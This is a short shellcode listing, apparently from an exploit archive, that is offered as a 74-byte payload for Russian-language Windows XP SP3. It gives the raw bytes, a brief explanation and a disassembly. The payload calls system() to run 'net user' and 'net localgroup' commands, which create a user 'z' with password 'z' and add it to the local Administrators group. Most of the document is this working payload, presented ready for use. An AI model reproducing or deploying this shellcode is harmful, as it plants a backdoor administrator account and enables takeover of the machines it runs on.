win32/xp sp3 (ru) add local administrator in 74 bytes

=====================================================
win32/xp sp3 (ru) add local administrator in 74 bytes
=====================================================

win32/xp sp3 (ru) add local administrator in 74 bytes
 
"\xEB\x08\xB8\xC7\x93\xC1\x77\xFF\xD0\xCC\xE8\xF3\xFF\xFF\xFFcmd /cnet/add user z z&net/add localgroup Administrators z"
 
At first we jump to make call push address of our command-string in stack and then execute it with system() function.
 
You'd better check its address on your machine, before running. BP is used to prevent infinite looping.
The command is slightly optimized, to save something near 10 bytes od space.
The result - you get z:z user with Administrative priveleges. The last zero byte is essential.       
 
xxx:    EB 08        jmp xxx+0A         ; the magic begins
xxx+02: B8 C793C177  mov eax,77C193C7   ; \ call msvcrt.system
        FF D0        call eax           ; /
        CC           int 3              ; pause ;)
xxx+0A: E8 F3FFFFFF  call xxx+02        ; push xxx+0F
xxx+0F: db 'cmd /cnet/add user z z&net/add localgroup Administrators z',0



#  0day.today [2018-04-09]  #